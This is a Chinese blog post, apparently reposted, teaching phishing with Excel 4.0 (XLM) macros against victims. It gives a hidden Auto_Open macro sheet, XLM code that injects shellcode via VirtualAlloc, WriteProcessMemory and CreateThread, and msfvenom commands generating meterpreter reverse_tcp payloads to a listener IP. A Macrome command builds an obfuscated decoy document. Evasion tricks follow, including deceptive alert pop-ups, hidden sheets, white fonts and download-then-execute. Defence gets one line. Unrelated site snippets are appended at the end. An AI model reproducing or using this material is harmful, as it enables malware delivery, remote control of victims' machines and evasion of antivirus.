钓鱼小技巧-XLM

VSole2022-01-21 21:30:11

前言

XLM钓鱼不是一项新的技术,自从公开以后,网上有很多对其的分析文章,这里仅仅做一个分享和摸索记录。文章中有问题的地方还请指出。

一个简单的例子

新建一个Excel表格,右键选择表,选择插入

插入ms excel4.0宏表

随后在单元格输入以下内容,并将A1格内容改为Auto_Open,随后隐藏这个表就好。

随后保存为启用宏的文档。

当鱼儿点开,选择启用宏时就会调用计算器,并弹窗

扩展及原理

通过Auto_Open可以让宏表自动运行,通过隐藏宏表可以做到简单的隐藏效果。

而在实战环境中,我们更关注的是能否执行我们的shellcode。

Outflank研究发现,通过利用这些宏的REGISTERCALL函数,可以调用 Win32 API,并可以将 shellcode 注入到正在运行的进程中。

REGISTER("Kernel32","VirtualAlloc","JJJJJ",0,880,4096,64)

REGISTER(module_name, procedure_name, type, alias, argument, macro_type, category)

  • Module_name 是 DLL 的名称,例如 c:\windows\system32\kernel32.dll 的“Kernel32”。
  • Procedure_name 是 DLL 中导出函数的名称,例如“VirtualAlloc”。
  • Type 是一个字符串,指定函数的返回值和参数的类型。
  • Alias 可以为函数指定的自定义名称,稍后可以通过该名称调用它。
  • Argument 可用于命名函数的参数,它是可选的。
  • Macro_type 应该是 1,代表函数。
  • Category 是类别编号(用于古老的 Excel 功能)。我们可以为我们的目的指定一个 1 到 14 之间的任意类别编号

如果你想深入了解可以参考excel 4.0函数说明文档

接下来我们构建一个可以执行我们自己shellcode的文档,这里有几个要注意的点

一个是shellcode中不能存在空字节‘\x00’

另外一个就是WPM每次调用最多只能写入255 个字节

我们来看一下网上相关的利用代码

=R1C2()  //调用指定位置代码=CALL("Kernel32","VirtualAlloc","JJJJJ",0,1000000,4096,64)  //调用Kernel=SELECT(R1C2:R1000:C2,R1C2)  //选择shellcode列=SET.VALUE(R1C3, 0)  //设置一个单元格=WHILE(LEN(ACTIVE.CELL())>0)  =CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, R2C1 + R1C3 * 20,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0)=SET.VALUE(R1C3, R1C3 + 1)=SELECT(, "R[1]C")=NEXT()   //循环shellcode,调用RtilCopyMemory,循环往内存空间写入,当当前shell代码单元格的长度一旦将单元格写入内存,计数器+1并进入下一循环=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C1, 0, 0, 0)  //调用CreateThread创建线程=HALT() //必须包含HALT或RETURN函数

这个时候可以使用工具生成我们自己的shellcode,并转化即可。过程中会遇到EXCEL崩溃的情况,不过代码执行并不受影响。

通过msf命令,我们可以快速生成不包含空字节的shellcode,通过SharpShooter工具可以帮助把shellcode转化成可用的格式。当然网上也有很多脚本可以利用,可以自行搜索下。

使用工具先生成

生成后发现打开直接崩溃,不过没有关系。我们可以手动对代码进行调整

对于excel宏调用,我们可以观察其代码,发现其中的excel宏片段是写死的,猜测崩溃原因就在此

无论怎样生成,其中代码都是不变的,所以就可能造成崩溃的问题。有闲工夫可以附加调试看看什么情况,不过这不在本文章的范围。

看了一些项目发现,其调用的地址都是动态生成的

https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js

这种不带混淆的,直接VirtualAlloc -> WriteProcessMemory -> CreateThread现在肯定是被杀的,所以还是需要自动化的生成工具。

自动化利用

github上有很多的开源的工具,这里我使用Macrome

使用msf生成64位和32位不包含空字节的shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' -e x64/xor --arch x64 --platform windows -f raw > payload64.bin

msfvenom -p windows/meterpreter/reverse_tcp lport=192.168.8.109 lport=4444 -b '\x00' --arch x86 --platform windows -f raw > payload32.bin

使用工具执行,该命令会使用默认模板写入并混淆。

Macrome.exe build --decoy-document decoy_document.xls --payload payload32.bin --payload64-bit payload64.bin

当受害者点击启用宏就会上线。上线后如果关闭excel,那么shell就会断开。

另外使用64位监听器去接收会引起excel的崩溃,因为测试环境是64位的,但是EXCEL安装的是32位的。

32位监听器正常上线

VT查杀率 21/59

网上工具自动生成还是存在查杀率较高的问题,如果想要做到免杀效果好的话,还是需要自己尝试去编码,开发开发工具。

bypass

因为XLM的构造特点,如Auto_Open、数量贼多的char函数等等,某些AV还不管三七二十一的给你误报,所以bypass还是比较困难的。

现在这个钓鱼方法已经工具化了,往往都集成了各种编码,加密。这里只介绍几种从攻击团伙的样本中学到的一些姿势。

1、图片遮盖

将宏代码隐藏在图片下,图片可以是提示启用宏的引导性内容

2、交互式消息弹窗

=IF(ALERT("此文档与您的服务程序不兼容,是否还要继续查看此文档?",1),,CLOSE(TRUE))

代码是顺序执行的,所以该执行的也不受影响,通过交互式弹窗的方式让鱼儿放松警惕

3、下载在转储

从网上下载恶意代码,存储到某个位置。然后再调用执行

4、代码随意分布

将代码拆分保存在各个分散的单元格中

5、更改字体颜色

修改字体颜色为白色

6、修改二进制文件

通过修改二进制文件的方式去隐藏宏表,这样无法通过普通方式取消隐藏来获取宏表

7、替代函数规避

通过可以用函数组合,或者通过日期函数获取数字,通过算数运算传入某些值

8、多个宏表

构建多个宏表,隐藏真正的恶意宏表,拖慢分析

9、恶意代码隐藏到注释

将shellcode内容加密防止注释中再调用

防御手段

1、禁用宏,对于宏文档提高警惕性

参考文章

https://synzack.github.io/Weaponizing-28-Year-Old-XLM-Macros/

https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/

版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!

函数调用单元格
本作品采用《CC 协议》,转载必须注明作者和本文链接
前言本系列的前十三篇文章,讲解了V8执行Javascript时最基础的工作流程和原理,包括词法分析、语法分析、字节码生成、Builtins方法、ignition执行单元,等等,达到了从零做起,入门学习的目的。接下来的文章将以问题为导向讲解V8源码,例如:以闭包技术、或垃圾回收为专题讲解V8中的相关源码。V8代码过于庞大,以问题为导向可以使得学习主题更加明确、效果更好。
我们现在一般做题题目是给出很大的一块空间供我们写入栈溢出的ROP链的,但是当题目限制输入的空间比如说几个字节呢,只能覆盖到ebp,ret_addr,这个时候就需要栈迁移这样的骚操作了,接下来我将用很通俗的语言带你们深入理解栈迁移。
1 摘要上一篇文章中,Builtin作为先导知识,我们做了宏观概括和介绍。Builtin是编译好的内置代码块,存储在snapshot_blob.bin文件中,V8启动时以反序列化方式加载,运行时可以直接调用。
严格来说,生成式人工智能已经存在了近十年,但最近这项技术的蓬勃发展激发了人们应用它来寻找潜在信息安全挑战的新兴趣。要想找到这些挑战,就必须进行“大海捞针式”的搜索,而这其中包括每天都会涌入网络的全新二进制文件、文档、域名和其他工件,任务的艰巨性可想而知。
测试结果表明,勒索病毒检测器检测准确率达到了 97%,勒索病毒家族分类器分类准确率达到了 94%。随着网络犯罪的组织化、规模化,隐匿行为攻击的复杂化和商业化,目前,隐匿高危勒索病毒呈蔓延之势。为了保证计算机网络和计算机应用系统的正常运行,电力企业需要对隐匿高危勒索病毒的攻击作出应对。对抗隐匿高危勒索病毒攻击,保护用户数据的关键措施在于预防,即在勒索软件攻入受害者主机但尚未造成实质性破坏前及时检测并拦截攻击。
CVE-2021-24086漏洞分析
2022-07-19 16:41:30
漏洞信息2021年,Microsoft发布了一个安全补丁程序,修复了一个拒绝服务漏洞,编号为CVE-2021-24086,该漏洞影响每个Windows版本的IPv6堆栈,此问题是由于IPv6分片处理不当引起的。
电力工控系统是关系到电网安全稳定运行的重要领域。目前国网黑龙江电力有限公司已经建立起“安全分区、网络专用、横向隔离、纵向认证”的边界安全防护体系。但在工控系统核心位置保护方面,还需考虑以下两个问题:电力工控系统具有闭源特性,内部函数逻辑调用非开源;攻击数据样本极少,难以构建特征库引擎。针对以上问题,从系统底层数据提取、运行状态学习等方面开展研究,设计了涵盖厂站、主站两侧的安全防御体系架构,为闭源电
sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。BladeBlade 是 Laravel 提供的一个既简单又强大的模板引擎。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
看到作者的出题思路是抽象代码树和污点分析,因为之前发了几篇程序分析理论的文章但是一直没有实践,所以拿这道题自己实践一下。
这样一旦运行的服务器宕机,就把备份的服务器运行起来。冷备的方案比较容易实现,但冷备的缺点是主机出现故障时备机不会自动接管,需要主动切换服务。当一台服务器宕机后,自动切换到另一台备用机使用。
VSole
网络安全专家